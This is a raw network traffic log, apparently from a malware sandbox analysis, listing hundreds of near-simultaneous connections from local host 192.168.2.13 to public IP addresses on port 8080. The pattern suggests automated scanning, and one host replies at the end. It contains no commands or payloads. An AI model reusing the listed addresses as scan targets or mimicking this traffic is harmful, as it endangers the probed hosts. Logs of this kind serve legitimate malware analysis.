Mar 4, 2024 15:05:34.169930935 CET	47577	8080	192.168.2.13	62.174.196.158
Mar 4, 2024 15:05:34.169930935 CET	47577	8080	192.168.2.13	94.29.206.179
Mar 4, 2024 15:05:34.169934034 CET	47577	8080	192.168.2.13	95.250.53.209
Mar 4, 2024 15:05:34.169955015 CET	47577	8080	192.168.2.13	95.217.216.164
Mar 4, 2024 15:05:34.169955969 CET	47577	8080	192.168.2.13	95.242.78.9
Mar 4, 2024 15:05:34.169955969 CET	47577	8080	192.168.2.13	62.195.35.14
Mar 4, 2024 15:05:34.169961929 CET	47577	8080	192.168.2.13	85.147.54.171
Mar 4, 2024 15:05:34.169961929 CET	47577	8080	192.168.2.13	94.70.215.236
Mar 4, 2024 15:05:34.169961929 CET	47577	8080	192.168.2.13	94.58.60.28
Mar 4, 2024 15:05:34.169965029 CET	47577	8080	192.168.2.13	94.195.124.71
Mar 4, 2024 15:05:34.169965029 CET	47577	8080	192.168.2.13	85.159.86.89
Mar 4, 2024 15:05:34.169965029 CET	47577	8080	192.168.2.13	94.221.75.240
Mar 4, 2024 15:05:34.169970036 CET	47577	8080	192.168.2.13	31.232.220.238
Mar 4, 2024 15:05:34.169970036 CET	47577	8080	192.168.2.13	94.131.143.221
Mar 4, 2024 15:05:34.169974089 CET	47577	8080	192.168.2.13	62.22.192.76
Mar 4, 2024 15:05:34.169976950 CET	47577	8080	192.168.2.13	62.55.20.9
Mar 4, 2024 15:05:34.169976950 CET	47577	8080	192.168.2.13	31.27.62.162
Mar 4, 2024 15:05:34.169976950 CET	47577	8080	192.168.2.13	62.207.74.38
Mar 4, 2024 15:05:34.169991970 CET	47577	8080	192.168.2.13	85.151.253.104
Mar 4, 2024 15:05:34.169991970 CET	47577	8080	192.168.2.13	95.151.106.170
Mar 4, 2024 15:05:34.170006990 CET	47577	8080	192.168.2.13	94.223.97.76
Mar 4, 2024 15:05:34.170013905 CET	47577	8080	192.168.2.13	62.141.193.208
Mar 4, 2024 15:05:34.170022011 CET	47577	8080	192.168.2.13	95.180.85.65
Mar 4, 2024 15:05:34.170022964 CET	47577	8080	192.168.2.13	85.153.10.60
Mar 4, 2024 15:05:34.170027018 CET	47577	8080	192.168.2.13	94.83.203.236
Mar 4, 2024 15:05:34.170032978 CET	47577	8080	192.168.2.13	95.231.134.219
Mar 4, 2024 15:05:34.170033932 CET	47577	8080	192.168.2.13	94.167.239.79
Mar 4, 2024 15:05:34.170033932 CET	47577	8080	192.168.2.13	95.157.1.227
Mar 4, 2024 15:05:34.170033932 CET	47577	8080	192.168.2.13	85.54.252.109
Mar 4, 2024 15:05:34.170033932 CET	47577	8080	192.168.2.13	95.75.143.235
Mar 4, 2024 15:05:34.170039892 CET	47577	8080	192.168.2.13	94.117.29.43
Mar 4, 2024 15:05:34.170039892 CET	47577	8080	192.168.2.13	62.105.16.194
Mar 4, 2024 15:05:34.170051098 CET	47577	8080	192.168.2.13	94.39.82.36
Mar 4, 2024 15:05:34.170053959 CET	47577	8080	192.168.2.13	95.244.107.131
Mar 4, 2024 15:05:34.170053959 CET	47577	8080	192.168.2.13	62.246.128.203
Mar 4, 2024 15:05:34.170053959 CET	47577	8080	192.168.2.13	94.162.143.88
Mar 4, 2024 15:05:34.170068026 CET	47577	8080	192.168.2.13	85.191.145.186
Mar 4, 2024 15:05:34.170068026 CET	47577	8080	192.168.2.13	31.102.185.217
Mar 4, 2024 15:05:34.170082092 CET	47577	8080	192.168.2.13	94.252.179.183
Mar 4, 2024 15:05:34.170082092 CET	47577	8080	192.168.2.13	31.71.75.127
Mar 4, 2024 15:05:34.170085907 CET	47577	8080	192.168.2.13	62.235.3.164
Mar 4, 2024 15:05:34.170089006 CET	47577	8080	192.168.2.13	95.243.220.167
Mar 4, 2024 15:05:34.170090914 CET	47577	8080	192.168.2.13	95.73.161.79
Mar 4, 2024 15:05:34.170104027 CET	47577	8080	192.168.2.13	31.137.214.60
Mar 4, 2024 15:05:34.170104027 CET	47577	8080	192.168.2.13	85.48.211.140
Mar 4, 2024 15:05:34.170109987 CET	47577	8080	192.168.2.13	31.123.100.186
Mar 4, 2024 15:05:34.170109987 CET	47577	8080	192.168.2.13	95.206.118.245
Mar 4, 2024 15:05:34.170116901 CET	47577	8080	192.168.2.13	94.249.74.143
Mar 4, 2024 15:05:34.170124054 CET	47577	8080	192.168.2.13	94.168.1.28
Mar 4, 2024 15:05:34.170131922 CET	47577	8080	192.168.2.13	95.222.96.113
Mar 4, 2024 15:05:34.170137882 CET	47577	8080	192.168.2.13	85.170.180.180
Mar 4, 2024 15:05:34.170137882 CET	47577	8080	192.168.2.13	95.173.45.222
Mar 4, 2024 15:05:34.170139074 CET	47577	8080	192.168.2.13	85.81.121.12
Mar 4, 2024 15:05:34.170149088 CET	47577	8080	192.168.2.13	62.231.71.90
Mar 4, 2024 15:05:34.170156002 CET	47577	8080	192.168.2.13	85.115.21.60
Mar 4, 2024 15:05:34.170156956 CET	47577	8080	192.168.2.13	62.238.13.153
Mar 4, 2024 15:05:34.170156956 CET	47577	8080	192.168.2.13	95.146.200.35
Mar 4, 2024 15:05:34.170167923 CET	47577	8080	192.168.2.13	85.175.214.194
Mar 4, 2024 15:05:34.170180082 CET	47577	8080	192.168.2.13	94.72.254.99
Mar 4, 2024 15:05:34.170180082 CET	47577	8080	192.168.2.13	85.14.128.182
Mar 4, 2024 15:05:34.170185089 CET	47577	8080	192.168.2.13	85.110.242.228
Mar 4, 2024 15:05:34.170191050 CET	47577	8080	192.168.2.13	85.155.188.105
Mar 4, 2024 15:05:34.170191050 CET	47577	8080	192.168.2.13	85.69.171.44
Mar 4, 2024 15:05:34.170192003 CET	47577	8080	192.168.2.13	85.41.73.147
Mar 4, 2024 15:05:34.170205116 CET	47577	8080	192.168.2.13	95.214.40.251
Mar 4, 2024 15:05:34.170205116 CET	47577	8080	192.168.2.13	62.152.71.218
Mar 4, 2024 15:05:34.170207024 CET	47577	8080	192.168.2.13	62.238.185.50
Mar 4, 2024 15:05:34.170216084 CET	47577	8080	192.168.2.13	94.25.125.16
Mar 4, 2024 15:05:34.170232058 CET	47577	8080	192.168.2.13	94.19.172.188
Mar 4, 2024 15:05:34.170234919 CET	47577	8080	192.168.2.13	94.89.133.12
Mar 4, 2024 15:05:34.170236111 CET	47577	8080	192.168.2.13	62.244.19.96
Mar 4, 2024 15:05:34.170237064 CET	47577	8080	192.168.2.13	95.194.165.149
Mar 4, 2024 15:05:34.170248032 CET	47577	8080	192.168.2.13	62.20.240.45
Mar 4, 2024 15:05:34.170253038 CET	47577	8080	192.168.2.13	94.14.210.51
Mar 4, 2024 15:05:34.170253038 CET	47577	8080	192.168.2.13	31.104.148.245
Mar 4, 2024 15:05:34.170255899 CET	47577	8080	192.168.2.13	94.186.101.147
Mar 4, 2024 15:05:34.170259953 CET	47577	8080	192.168.2.13	62.160.235.122
Mar 4, 2024 15:05:34.170263052 CET	47577	8080	192.168.2.13	31.161.80.170
Mar 4, 2024 15:05:34.170269012 CET	47577	8080	192.168.2.13	62.66.204.70
Mar 4, 2024 15:05:34.170269966 CET	47577	8080	192.168.2.13	94.31.68.127
Mar 4, 2024 15:05:34.170281887 CET	47577	8080	192.168.2.13	95.67.110.232
Mar 4, 2024 15:05:34.170278072 CET	47577	8080	192.168.2.13	95.189.218.61
Mar 4, 2024 15:05:34.170286894 CET	47577	8080	192.168.2.13	85.151.22.80
Mar 4, 2024 15:05:34.170286894 CET	47577	8080	192.168.2.13	94.34.244.125
Mar 4, 2024 15:05:34.170293093 CET	47577	8080	192.168.2.13	62.15.216.172
Mar 4, 2024 15:05:34.170298100 CET	47577	8080	192.168.2.13	62.208.200.64
Mar 4, 2024 15:05:34.170306921 CET	47577	8080	192.168.2.13	94.221.1.198
Mar 4, 2024 15:05:34.170315027 CET	47577	8080	192.168.2.13	85.153.54.21
Mar 4, 2024 15:05:34.170322895 CET	47577	8080	192.168.2.13	85.120.62.248
Mar 4, 2024 15:05:34.170324087 CET	47577	8080	192.168.2.13	62.214.91.199
Mar 4, 2024 15:05:34.170325994 CET	47577	8080	192.168.2.13	94.171.17.24
Mar 4, 2024 15:05:34.170326948 CET	47577	8080	192.168.2.13	94.213.225.161
Mar 4, 2024 15:05:34.170346022 CET	47577	8080	192.168.2.13	94.40.36.167
Mar 4, 2024 15:05:34.170350075 CET	47577	8080	192.168.2.13	94.12.233.18
Mar 4, 2024 15:05:34.170352936 CET	47577	8080	192.168.2.13	94.161.133.155
Mar 4, 2024 15:05:34.170352936 CET	47577	8080	192.168.2.13	62.84.96.245
Mar 4, 2024 15:05:34.170356989 CET	47577	8080	192.168.2.13	62.232.182.182
Mar 4, 2024 15:05:34.170357943 CET	47577	8080	192.168.2.13	85.109.231.211
Mar 4, 2024 15:05:34.170382023 CET	47577	8080	192.168.2.13	31.30.141.152
Mar 4, 2024 15:05:34.170383930 CET	47577	8080	192.168.2.13	31.179.190.61
Mar 4, 2024 15:05:34.170384884 CET	47577	8080	192.168.2.13	31.193.187.122
Mar 4, 2024 15:05:34.170393944 CET	47577	8080	192.168.2.13	94.48.202.203
Mar 4, 2024 15:05:34.170393944 CET	47577	8080	192.168.2.13	95.16.176.96
Mar 4, 2024 15:05:34.170396090 CET	47577	8080	192.168.2.13	94.26.39.29
Mar 4, 2024 15:05:34.170392036 CET	47577	8080	192.168.2.13	31.200.172.211
Mar 4, 2024 15:05:34.170397043 CET	47577	8080	192.168.2.13	95.195.121.126
Mar 4, 2024 15:05:34.170392036 CET	47577	8080	192.168.2.13	31.40.89.104
Mar 4, 2024 15:05:34.170403957 CET	47577	8080	192.168.2.13	62.18.101.32
Mar 4, 2024 15:05:34.170406103 CET	47577	8080	192.168.2.13	85.122.72.83
Mar 4, 2024 15:05:34.170407057 CET	47577	8080	192.168.2.13	95.16.188.0
Mar 4, 2024 15:05:34.170433998 CET	47577	8080	192.168.2.13	85.174.45.227
Mar 4, 2024 15:05:34.170433998 CET	47577	8080	192.168.2.13	62.57.241.190
Mar 4, 2024 15:05:34.170439959 CET	47577	8080	192.168.2.13	94.204.109.80
Mar 4, 2024 15:05:34.170442104 CET	47577	8080	192.168.2.13	31.191.121.21
Mar 4, 2024 15:05:34.170442104 CET	47577	8080	192.168.2.13	85.126.7.39
Mar 4, 2024 15:05:34.170454979 CET	47577	8080	192.168.2.13	31.120.186.175
Mar 4, 2024 15:05:34.170456886 CET	47577	8080	192.168.2.13	85.134.168.175
Mar 4, 2024 15:05:34.170455933 CET	47577	8080	192.168.2.13	85.113.219.92
Mar 4, 2024 15:05:34.170460939 CET	47577	8080	192.168.2.13	31.208.188.86
Mar 4, 2024 15:05:34.170465946 CET	47577	8080	192.168.2.13	62.161.174.91
Mar 4, 2024 15:05:34.170466900 CET	47577	8080	192.168.2.13	94.35.206.183
Mar 4, 2024 15:05:34.170465946 CET	47577	8080	192.168.2.13	31.20.92.224
Mar 4, 2024 15:05:34.170465946 CET	47577	8080	192.168.2.13	94.195.135.247
Mar 4, 2024 15:05:34.170470953 CET	47577	8080	192.168.2.13	31.97.226.114
Mar 4, 2024 15:05:34.170483112 CET	47577	8080	192.168.2.13	62.129.88.134
Mar 4, 2024 15:05:34.170483112 CET	47577	8080	192.168.2.13	31.113.83.65
Mar 4, 2024 15:05:34.170490026 CET	47577	8080	192.168.2.13	31.41.59.102
Mar 4, 2024 15:05:34.170490026 CET	47577	8080	192.168.2.13	95.250.224.111
Mar 4, 2024 15:05:34.170495033 CET	47577	8080	192.168.2.13	94.190.120.155
Mar 4, 2024 15:05:34.170495987 CET	47577	8080	192.168.2.13	31.225.41.171
Mar 4, 2024 15:05:34.170497894 CET	47577	8080	192.168.2.13	85.59.232.158
Mar 4, 2024 15:05:34.170501947 CET	47577	8080	192.168.2.13	62.218.111.172
Mar 4, 2024 15:05:34.170514107 CET	47577	8080	192.168.2.13	95.127.129.225
Mar 4, 2024 15:05:34.170515060 CET	47577	8080	192.168.2.13	94.46.133.113
Mar 4, 2024 15:05:34.170515060 CET	47577	8080	192.168.2.13	31.154.167.225
Mar 4, 2024 15:05:34.170516968 CET	47577	8080	192.168.2.13	85.137.39.28
Mar 4, 2024 15:05:34.170521021 CET	47577	8080	192.168.2.13	62.185.72.144
Mar 4, 2024 15:05:34.170521975 CET	47577	8080	192.168.2.13	62.51.193.189
Mar 4, 2024 15:05:34.170530081 CET	47577	8080	192.168.2.13	62.251.43.44
Mar 4, 2024 15:05:34.170533895 CET	47577	8080	192.168.2.13	95.189.173.51
Mar 4, 2024 15:05:34.170533895 CET	47577	8080	192.168.2.13	62.159.180.126
Mar 4, 2024 15:05:34.170536995 CET	47577	8080	192.168.2.13	94.22.245.61
Mar 4, 2024 15:05:34.170567036 CET	47577	8080	192.168.2.13	94.66.195.130
Mar 4, 2024 15:05:34.170567989 CET	47577	8080	192.168.2.13	85.169.233.164
Mar 4, 2024 15:05:34.170571089 CET	47577	8080	192.168.2.13	31.149.180.79
Mar 4, 2024 15:05:34.170571089 CET	47577	8080	192.168.2.13	31.159.143.187
Mar 4, 2024 15:05:34.170576096 CET	47577	8080	192.168.2.13	85.167.1.219
Mar 4, 2024 15:05:34.170569897 CET	47577	8080	192.168.2.13	31.65.2.117
Mar 4, 2024 15:05:34.170569897 CET	47577	8080	192.168.2.13	94.89.156.203
Mar 4, 2024 15:05:34.170571089 CET	47577	8080	192.168.2.13	94.149.167.221
Mar 4, 2024 15:05:34.170593023 CET	47577	8080	192.168.2.13	85.174.123.226
Mar 4, 2024 15:05:34.170593023 CET	47577	8080	192.168.2.13	31.242.30.60
Mar 4, 2024 15:05:34.170593977 CET	47577	8080	192.168.2.13	94.237.26.133
Mar 4, 2024 15:05:34.170593023 CET	47577	8080	192.168.2.13	62.234.191.50
Mar 4, 2024 15:05:34.170609951 CET	47577	8080	192.168.2.13	94.230.162.83
Mar 4, 2024 15:05:34.170610905 CET	47577	8080	192.168.2.13	94.44.55.182
Mar 4, 2024 15:05:34.170612097 CET	47577	8080	192.168.2.13	85.104.208.99
Mar 4, 2024 15:05:34.170613050 CET	47577	8080	192.168.2.13	94.139.49.97
Mar 4, 2024 15:05:34.170613050 CET	47577	8080	192.168.2.13	94.157.69.166
Mar 4, 2024 15:05:34.170620918 CET	47577	8080	192.168.2.13	94.83.191.204
Mar 4, 2024 15:05:34.170623064 CET	47577	8080	192.168.2.13	31.184.166.134
Mar 4, 2024 15:05:34.170635939 CET	47577	8080	192.168.2.13	31.243.83.166
Mar 4, 2024 15:05:34.170635939 CET	47577	8080	192.168.2.13	85.41.255.134
Mar 4, 2024 15:05:34.170635939 CET	47577	8080	192.168.2.13	95.155.153.155
Mar 4, 2024 15:05:34.170635939 CET	47577	8080	192.168.2.13	62.116.180.133
Mar 4, 2024 15:05:34.170635939 CET	47577	8080	192.168.2.13	94.182.32.109
Mar 4, 2024 15:05:34.170635939 CET	47577	8080	192.168.2.13	31.48.8.37
Mar 4, 2024 15:05:34.170644045 CET	47577	8080	192.168.2.13	94.199.173.185
Mar 4, 2024 15:05:34.170651913 CET	47577	8080	192.168.2.13	85.221.130.146
Mar 4, 2024 15:05:34.170655012 CET	47577	8080	192.168.2.13	85.65.6.109
Mar 4, 2024 15:05:34.170655012 CET	47577	8080	192.168.2.13	31.0.239.201
Mar 4, 2024 15:05:34.170665026 CET	47577	8080	192.168.2.13	94.110.9.130
Mar 4, 2024 15:05:34.170666933 CET	47577	8080	192.168.2.13	31.246.146.183
Mar 4, 2024 15:05:34.170666933 CET	47577	8080	192.168.2.13	85.106.1.208
Mar 4, 2024 15:05:34.170684099 CET	47577	8080	192.168.2.13	62.128.211.157
Mar 4, 2024 15:05:34.170691967 CET	47577	8080	192.168.2.13	31.196.76.113
Mar 4, 2024 15:05:34.170691967 CET	47577	8080	192.168.2.13	31.48.37.114
Mar 4, 2024 15:05:34.170691967 CET	47577	8080	192.168.2.13	85.186.196.1
Mar 4, 2024 15:05:34.170703888 CET	47577	8080	192.168.2.13	62.90.212.188
Mar 4, 2024 15:05:34.170706034 CET	47577	8080	192.168.2.13	62.168.40.49
Mar 4, 2024 15:05:34.170706034 CET	47577	8080	192.168.2.13	62.181.35.99
Mar 4, 2024 15:05:34.170710087 CET	47577	8080	192.168.2.13	94.223.200.193
Mar 4, 2024 15:05:34.170730114 CET	47577	8080	192.168.2.13	95.97.67.106
Mar 4, 2024 15:05:34.170730114 CET	47577	8080	192.168.2.13	94.24.85.142
Mar 4, 2024 15:05:34.170731068 CET	47577	8080	192.168.2.13	31.220.223.236
Mar 4, 2024 15:05:34.170731068 CET	47577	8080	192.168.2.13	62.23.22.114
Mar 4, 2024 15:05:34.170732021 CET	47577	8080	192.168.2.13	62.43.225.103
Mar 4, 2024 15:05:34.170736074 CET	47577	8080	192.168.2.13	95.16.28.6
Mar 4, 2024 15:05:34.170736074 CET	47577	8080	192.168.2.13	31.132.20.198
Mar 4, 2024 15:05:34.170736074 CET	47577	8080	192.168.2.13	95.174.89.214
Mar 4, 2024 15:05:34.170736074 CET	47577	8080	192.168.2.13	31.179.93.181
Mar 4, 2024 15:05:34.170747042 CET	47577	8080	192.168.2.13	62.121.205.144
Mar 4, 2024 15:05:34.170763016 CET	47577	8080	192.168.2.13	31.111.236.79
Mar 4, 2024 15:05:34.170763016 CET	47577	8080	192.168.2.13	62.11.55.103
Mar 4, 2024 15:05:34.170763016 CET	47577	8080	192.168.2.13	85.85.227.220
Mar 4, 2024 15:05:34.170763016 CET	47577	8080	192.168.2.13	31.4.199.101
Mar 4, 2024 15:05:34.170768976 CET	47577	8080	192.168.2.13	94.119.191.174
Mar 4, 2024 15:05:34.170784950 CET	47577	8080	192.168.2.13	62.13.73.249
Mar 4, 2024 15:05:34.170784950 CET	47577	8080	192.168.2.13	31.175.176.118
Mar 4, 2024 15:05:34.170794964 CET	47577	8080	192.168.2.13	62.163.252.214
Mar 4, 2024 15:05:34.170802116 CET	47577	8080	192.168.2.13	31.119.200.28
Mar 4, 2024 15:05:34.170806885 CET	47577	8080	192.168.2.13	62.135.56.198
Mar 4, 2024 15:05:34.170810938 CET	47577	8080	192.168.2.13	62.80.61.150
Mar 4, 2024 15:05:34.170810938 CET	47577	8080	192.168.2.13	62.238.111.2
Mar 4, 2024 15:05:34.170810938 CET	47577	8080	192.168.2.13	94.182.93.248
Mar 4, 2024 15:05:34.170810938 CET	47577	8080	192.168.2.13	95.162.217.241
Mar 4, 2024 15:05:34.170819044 CET	47577	8080	192.168.2.13	31.204.174.29
Mar 4, 2024 15:05:34.170819044 CET	47577	8080	192.168.2.13	85.243.252.143
Mar 4, 2024 15:05:34.170819044 CET	47577	8080	192.168.2.13	62.88.41.128
Mar 4, 2024 15:05:34.170823097 CET	47577	8080	192.168.2.13	31.82.44.174
Mar 4, 2024 15:05:34.170823097 CET	47577	8080	192.168.2.13	95.55.192.247
Mar 4, 2024 15:05:34.170823097 CET	47577	8080	192.168.2.13	62.119.8.29
Mar 4, 2024 15:05:34.170823097 CET	47577	8080	192.168.2.13	62.159.254.5
Mar 4, 2024 15:05:34.170830965 CET	47577	8080	192.168.2.13	95.173.77.158
Mar 4, 2024 15:05:34.170831919 CET	47577	8080	192.168.2.13	95.161.170.228
Mar 4, 2024 15:05:34.170833111 CET	47577	8080	192.168.2.13	85.193.30.176
Mar 4, 2024 15:05:34.170841932 CET	47577	8080	192.168.2.13	31.120.222.253
Mar 4, 2024 15:05:34.170842886 CET	47577	8080	192.168.2.13	85.146.127.201
Mar 4, 2024 15:05:34.170850992 CET	47577	8080	192.168.2.13	94.253.232.197
Mar 4, 2024 15:05:34.170866013 CET	47577	8080	192.168.2.13	31.95.105.241
Mar 4, 2024 15:05:34.170866013 CET	47577	8080	192.168.2.13	62.94.241.1
Mar 4, 2024 15:05:34.170869112 CET	47577	8080	192.168.2.13	31.141.73.83
Mar 4, 2024 15:05:34.170866013 CET	47577	8080	192.168.2.13	62.110.66.143
Mar 4, 2024 15:05:34.170870066 CET	47577	8080	192.168.2.13	94.180.51.72
Mar 4, 2024 15:05:34.170875072 CET	47577	8080	192.168.2.13	85.78.38.248
Mar 4, 2024 15:05:34.170881987 CET	47577	8080	192.168.2.13	94.155.11.36
Mar 4, 2024 15:05:34.170881987 CET	47577	8080	192.168.2.13	85.14.116.141
Mar 4, 2024 15:05:34.170886993 CET	47577	8080	192.168.2.13	31.217.187.219
Mar 4, 2024 15:05:34.170900106 CET	47577	8080	192.168.2.13	31.102.110.144
Mar 4, 2024 15:05:34.170900106 CET	47577	8080	192.168.2.13	85.227.124.226
Mar 4, 2024 15:05:34.170903921 CET	47577	8080	192.168.2.13	95.250.157.181
Mar 4, 2024 15:05:34.170906067 CET	47577	8080	192.168.2.13	62.198.18.157
Mar 4, 2024 15:05:34.170911074 CET	47577	8080	192.168.2.13	31.136.53.157
Mar 4, 2024 15:05:34.170913935 CET	47577	8080	192.168.2.13	85.179.172.172
Mar 4, 2024 15:05:34.170914888 CET	47577	8080	192.168.2.13	94.247.22.174
Mar 4, 2024 15:05:34.170937061 CET	47577	8080	192.168.2.13	85.90.146.130
Mar 4, 2024 15:05:34.170937061 CET	47577	8080	192.168.2.13	62.213.56.2
Mar 4, 2024 15:05:34.170939922 CET	47577	8080	192.168.2.13	62.192.183.45
Mar 4, 2024 15:05:34.170942068 CET	47577	8080	192.168.2.13	95.190.97.24
Mar 4, 2024 15:05:34.170955896 CET	47577	8080	192.168.2.13	95.175.203.19
Mar 4, 2024 15:05:34.170955896 CET	47577	8080	192.168.2.13	85.51.209.45
Mar 4, 2024 15:05:34.170960903 CET	47577	8080	192.168.2.13	31.172.73.184
Mar 4, 2024 15:05:34.170970917 CET	47577	8080	192.168.2.13	62.218.113.76
Mar 4, 2024 15:05:34.170973063 CET	47577	8080	192.168.2.13	95.224.236.235
Mar 4, 2024 15:05:34.170980930 CET	47577	8080	192.168.2.13	85.79.73.2
Mar 4, 2024 15:05:34.170985937 CET	47577	8080	192.168.2.13	94.236.245.254
Mar 4, 2024 15:05:34.170985937 CET	47577	8080	192.168.2.13	31.209.17.233
Mar 4, 2024 15:05:34.170990944 CET	47577	8080	192.168.2.13	94.101.84.117
Mar 4, 2024 15:05:34.171000957 CET	47577	8080	192.168.2.13	95.39.149.42
Mar 4, 2024 15:05:34.171000957 CET	47577	8080	192.168.2.13	62.189.224.166
Mar 4, 2024 15:05:34.171017885 CET	47577	8080	192.168.2.13	94.249.91.65
Mar 4, 2024 15:05:34.171034098 CET	47577	8080	192.168.2.13	85.26.98.156
Mar 4, 2024 15:05:34.171034098 CET	47577	8080	192.168.2.13	94.20.201.73
Mar 4, 2024 15:05:34.171034098 CET	47577	8080	192.168.2.13	85.76.244.161
Mar 4, 2024 15:05:34.171036005 CET	47577	8080	192.168.2.13	31.80.206.1
Mar 4, 2024 15:05:34.171036959 CET	47577	8080	192.168.2.13	62.51.6.12
Mar 4, 2024 15:05:34.171037912 CET	47577	8080	192.168.2.13	85.166.53.116
Mar 4, 2024 15:05:34.171036959 CET	47577	8080	192.168.2.13	95.206.128.22
Mar 4, 2024 15:05:34.171037912 CET	47577	8080	192.168.2.13	62.71.53.154
Mar 4, 2024 15:05:34.171039104 CET	47577	8080	192.168.2.13	85.18.139.183
Mar 4, 2024 15:05:34.171037912 CET	47577	8080	192.168.2.13	94.112.16.110
Mar 4, 2024 15:05:34.171039104 CET	47577	8080	192.168.2.13	85.185.158.253
Mar 4, 2024 15:05:34.171039104 CET	47577	8080	192.168.2.13	31.166.88.97
Mar 4, 2024 15:05:34.171039104 CET	47577	8080	192.168.2.13	31.97.22.172
Mar 4, 2024 15:05:34.171046972 CET	47577	8080	192.168.2.13	94.153.111.120
Mar 4, 2024 15:05:34.171046972 CET	47577	8080	192.168.2.13	95.239.132.105
Mar 4, 2024 15:05:34.171051025 CET	47577	8080	192.168.2.13	62.178.235.182
Mar 4, 2024 15:05:34.171051025 CET	47577	8080	192.168.2.13	31.115.204.210
Mar 4, 2024 15:05:34.171060085 CET	47577	8080	192.168.2.13	94.241.85.85
Mar 4, 2024 15:05:34.171067953 CET	47577	8080	192.168.2.13	95.247.173.140
Mar 4, 2024 15:05:34.171067953 CET	47577	8080	192.168.2.13	94.197.6.82
Mar 4, 2024 15:05:34.171067953 CET	47577	8080	192.168.2.13	95.31.50.122
Mar 4, 2024 15:05:34.171077013 CET	47577	8080	192.168.2.13	95.145.196.172
Mar 4, 2024 15:05:34.171084881 CET	47577	8080	192.168.2.13	62.228.126.103
Mar 4, 2024 15:05:34.171101093 CET	47577	8080	192.168.2.13	94.230.209.184
Mar 4, 2024 15:05:34.171102047 CET	47577	8080	192.168.2.13	94.163.255.29
Mar 4, 2024 15:05:34.171104908 CET	47577	8080	192.168.2.13	62.193.217.233
Mar 4, 2024 15:05:34.171104908 CET	47577	8080	192.168.2.13	62.193.127.128
Mar 4, 2024 15:05:34.171112061 CET	47577	8080	192.168.2.13	95.147.183.65
Mar 4, 2024 15:05:34.171112061 CET	47577	8080	192.168.2.13	95.182.247.189
Mar 4, 2024 15:05:34.171113014 CET	47577	8080	192.168.2.13	31.250.160.250
Mar 4, 2024 15:05:34.171114922 CET	47577	8080	192.168.2.13	62.161.94.154
Mar 4, 2024 15:05:34.171132088 CET	47577	8080	192.168.2.13	95.149.139.101
Mar 4, 2024 15:05:34.171133041 CET	47577	8080	192.168.2.13	85.241.71.213
Mar 4, 2024 15:05:34.171133995 CET	47577	8080	192.168.2.13	95.231.104.236
Mar 4, 2024 15:05:34.171144009 CET	47577	8080	192.168.2.13	94.38.12.224
Mar 4, 2024 15:05:34.171144009 CET	47577	8080	192.168.2.13	85.30.108.247
Mar 4, 2024 15:05:34.171144962 CET	47577	8080	192.168.2.13	94.206.94.54
Mar 4, 2024 15:05:34.171163082 CET	47577	8080	192.168.2.13	62.236.26.0
Mar 4, 2024 15:05:34.171163082 CET	47577	8080	192.168.2.13	85.72.86.53
Mar 4, 2024 15:05:34.171165943 CET	47577	8080	192.168.2.13	31.49.116.148
Mar 4, 2024 15:05:34.171165943 CET	47577	8080	192.168.2.13	62.71.32.162
Mar 4, 2024 15:05:34.171178102 CET	47577	8080	192.168.2.13	95.41.217.234
Mar 4, 2024 15:05:34.171179056 CET	47577	8080	192.168.2.13	62.101.161.155
Mar 4, 2024 15:05:34.171179056 CET	47577	8080	192.168.2.13	31.237.26.120
Mar 4, 2024 15:05:34.171188116 CET	47577	8080	192.168.2.13	85.132.55.225
Mar 4, 2024 15:05:34.171197891 CET	47577	8080	192.168.2.13	94.20.98.183
Mar 4, 2024 15:05:34.171204090 CET	47577	8080	192.168.2.13	95.225.77.153
Mar 4, 2024 15:05:34.171205997 CET	47577	8080	192.168.2.13	85.64.102.68
Mar 4, 2024 15:05:34.171205997 CET	47577	8080	192.168.2.13	94.131.242.49
Mar 4, 2024 15:05:34.171216011 CET	47577	8080	192.168.2.13	95.92.254.132
Mar 4, 2024 15:05:34.171216011 CET	47577	8080	192.168.2.13	62.220.132.93
Mar 4, 2024 15:05:34.171217918 CET	47577	8080	192.168.2.13	94.35.248.142
Mar 4, 2024 15:05:34.171224117 CET	47577	8080	192.168.2.13	31.128.236.242
Mar 4, 2024 15:05:34.171236038 CET	47577	8080	192.168.2.13	31.1.26.231
Mar 4, 2024 15:05:34.171248913 CET	47577	8080	192.168.2.13	95.202.204.65
Mar 4, 2024 15:05:34.171248913 CET	47577	8080	192.168.2.13	95.175.111.51
Mar 4, 2024 15:05:34.171248913 CET	47577	8080	192.168.2.13	95.191.163.101
Mar 4, 2024 15:05:34.171252966 CET	47577	8080	192.168.2.13	85.254.159.15
Mar 4, 2024 15:05:34.171253920 CET	47577	8080	192.168.2.13	62.52.251.227
Mar 4, 2024 15:05:34.171266079 CET	47577	8080	192.168.2.13	95.144.31.57
Mar 4, 2024 15:05:34.171278000 CET	47577	8080	192.168.2.13	95.203.45.178
Mar 4, 2024 15:05:34.171278000 CET	47577	8080	192.168.2.13	85.37.65.17
Mar 4, 2024 15:05:34.171281099 CET	47577	8080	192.168.2.13	62.71.157.228
Mar 4, 2024 15:05:34.171281099 CET	47577	8080	192.168.2.13	85.103.85.5
Mar 4, 2024 15:05:34.171281099 CET	47577	8080	192.168.2.13	85.182.112.217
Mar 4, 2024 15:05:34.171288013 CET	47577	8080	192.168.2.13	85.190.171.9
Mar 4, 2024 15:05:34.171293020 CET	47577	8080	192.168.2.13	95.51.147.131
Mar 4, 2024 15:05:34.171295881 CET	47577	8080	192.168.2.13	85.27.56.66
Mar 4, 2024 15:05:34.171297073 CET	47577	8080	192.168.2.13	95.244.115.212
Mar 4, 2024 15:05:34.171297073 CET	47577	8080	192.168.2.13	85.183.59.125
Mar 4, 2024 15:05:34.171312094 CET	47577	8080	192.168.2.13	31.73.246.204
Mar 4, 2024 15:05:34.171312094 CET	47577	8080	192.168.2.13	85.238.84.8
Mar 4, 2024 15:05:34.171314001 CET	47577	8080	192.168.2.13	31.114.102.69
Mar 4, 2024 15:05:34.171324015 CET	47577	8080	192.168.2.13	62.249.154.115
Mar 4, 2024 15:05:34.171333075 CET	47577	8080	192.168.2.13	31.44.44.30
Mar 4, 2024 15:05:34.171340942 CET	47577	8080	192.168.2.13	31.19.131.18
Mar 4, 2024 15:05:34.171340942 CET	47577	8080	192.168.2.13	31.175.48.177
Mar 4, 2024 15:05:34.171349049 CET	47577	8080	192.168.2.13	85.7.169.197
Mar 4, 2024 15:05:34.171349049 CET	47577	8080	192.168.2.13	62.22.193.44
Mar 4, 2024 15:05:34.171375990 CET	54732	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:34.171396017 CET	42590	8080	192.168.2.13	94.123.84.109
Mar 4, 2024 15:05:34.346913099 CET	8080	47577	62.84.96.245	192.168.2.13
